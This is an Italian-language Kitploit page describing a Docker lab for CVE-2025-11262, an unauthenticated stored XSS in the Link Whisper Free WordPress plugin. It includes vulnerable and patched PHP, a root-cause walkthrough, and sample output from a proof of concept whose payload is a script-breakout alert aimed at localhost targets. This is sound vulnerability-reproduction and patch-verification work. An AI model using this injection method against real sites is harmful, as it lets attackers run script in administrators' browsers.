CVE-2025-11262-Lab — Laboratorio Docker per riprodurre CVE-2025-11262, una XSS cieca persistente non autenticata nel plugin WordPress Link Whisper Free. Include target vulnerabili e patchati, script PoC e analisi della causa principale. | Kitploit

Richiesta REST non autenticata
→ l'user_id controllato dall'attaccante viene persistito
→ un utente WordPress privilegiato apre la pagina Link Whisper AI Subscription
→ il valore memorizzato viene renderizzato in un contesto JavaScript admin
→ alert("CVE-2025-11262-LAB") viene eseguito sulla versione vulnerabile

Affermazione	Evidenza	Come verificarlo in questo lab
Link Whisper Free `0.9.0` è vulnerabile.	Gli advisory pubblici identificano come affette le versioni di Link Whisper Free fino alla `0.9.0` inclusa.	Esegui il PoC contro `http://127.0.0.1:8081` e apri l'URL admin stampato.
Link Whisper Free `0.9.1` contiene la correzione.	L'advisory pubblico e i dati del changelog identificano `0.9.1` come versione patchata.	Esegui lo stesso PoC contro `http://127.0.0.1:8082`; non dovrebbe apparire alcun alert.
Il posizionamento del payload non è autenticato.	Il PoC invia una richiesta POST senza cookie WordPress, login o nonce.	Ispeziona `poc/poc.py`; richiede solo `--url`.
L'impatto visibile viene attivato nell'area admin di WordPress.	Il valore memorizzato viene renderizzato quando un utente privilegiato apre la pagina Link Whisper AI Subscription.	Dopo aver eseguito il PoC, accedi come admin e apri l'URL admin stampato.
Il target patchato può comunque restituire `"ok"` a livello HTTP.	I test locali hanno mostrato che entrambi i target possono restituire `"ok"`; la differenza significativa è se il payload viene persistito ed eseguito.	Confronta il comportamento del browser su `8081` e `8082`.

Endpoint REST non autenticato
→ validazione insufficiente di user_id
→ archiviazione persistente in wpil_ai_access_user_id
→ rendering non sicuro in un contesto JavaScript admin
→ XSS memorizzato quando un utente privilegiato apre la pagina AI Subscription

register_rest_route(self::REST_SLUG, self::AI_AUTH, [
    'methods'             => 'POST',
    'callback'            => [
        $this,
        'ai_auth_handler'
    ],
    'permission_callback' => "__return_true",
    'show_in_index'       => false
]);

public function ai_auth_handler( WP_REST_Request $request )
{
    if(!empty($request->get_param('access_token'))){
        $token = $request->get_param('access_token');
        $user_id = $request->get_param('user_id');
        $uid = (int)$request->get_param('uid');
        $uemail = $request->get_param('uemail');

        if(!empty($token) && false !== strpos($token, 'ai-')){
            update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
            update_option('wpil_ai_access_user_id', $user_id);
            update_option('wpil_ai_access_user_email', $uemail);
            update_user_meta($uid, 'wpil_ai_access_user_id', $user_id);
            update_user_meta($uid, 'wpil_ai_access_user_email', $uemail);
            update_option('wpil_ai_access_authorized', true);
        }

        return 'ok';
    }

    return new WP_Error(400, 'Bad request', [ 'status' => 404 ]);
}

if(
    !empty($token) &&
    false !== strpos($token, 'ai-') &&
    (bool) preg_match('/\Aai-[0-9a-f]{64}\z/i', $token) &&
    (bool) preg_match('/\A[0-9a-f]{32}\z/i', $user_id)
){
    update_option('wpil_ai_access_token', Wpil_Toolbox::encrypt($token));
    update_option('wpil_ai_access_user_id', $user_id);
    update_option('wpil_ai_access_user_email', sanitize_email($uemail));
    update_option('wpil_ai_access_authorized', true);
}

body: JSON.stringify({
    ai_id: "<?php echo esc_attr($ai_id);?>",
    subscription_id: "<?php echo ((!empty($sub)) && isset($sub->subscription_id)) ? esc_attr($sub->subscription_id): '';?>"
})

POST /wp-json/link-whisper/ai-auth
→ restituisce "ok"
→ memorizza il payload in wpil_ai_access_user_id
→ l'apertura della pagina admin AI Subscription attiva alert("CVE-2025-11262-LAB")

.
├── docker/
│   └── lab-entrypoint.sh
├── docker-compose.yml
├── patched/
│   └── Dockerfile
├── poc/
│   └── poc.py
├── README.md
└── vuln/
    └── Dockerfile

[scope] local Docker lab only
[target] http://127.0.0.1:8081
[endpoint] http://127.0.0.1:8081/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

[next step]
Open this URL in a browser and login as the lab administrator:

http://127.0.0.1:8081/wp-admin/admin.php?page=link_whisper_ai_subscription

[scope] local Docker lab only
[target] http://127.0.0.1:8082
[endpoint] http://127.0.0.1:8082/wp-json/link-whisper/ai-auth
[payload] </script><script>alert("CVE-2025-11262-LAB")</script>

[result]
http_status: 200
response_body: '"ok"'

access_token = ai-aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
user_id      = </script><script>alert("CVE-2025-11262-LAB")</script>
uid          = 1
uemail       = [email protected]

CVE-2025-11262-Lab

Più Popolari

Fatti verificati

Sintesi della causa principale

Endpoint REST non autenticato

Gestione vulnerabile dell'input in 0.9.0

Archiviazione persistente

Sink JavaScript admin

Condizione di attivazione

Comportamento della patch in 0.9.1

Comportamento confermato dal lab

Architettura del lab

Requisiti

Avvio rapido

Utilizzo del PoC

Output atteso

Evidenza tramite screenshot

Come funziona il PoC

Comandi utili di verifica

Mitigazione e note sulla patch

Pulizia

Limiti di sicurezza

Riferimenti

`vuln`	`0.9.0`	Target vulnerabile	`http://127.0.0.1:8081`
`patched`	`0.9.1`	Target di confronto patchato	`http://127.0.0.1:8082`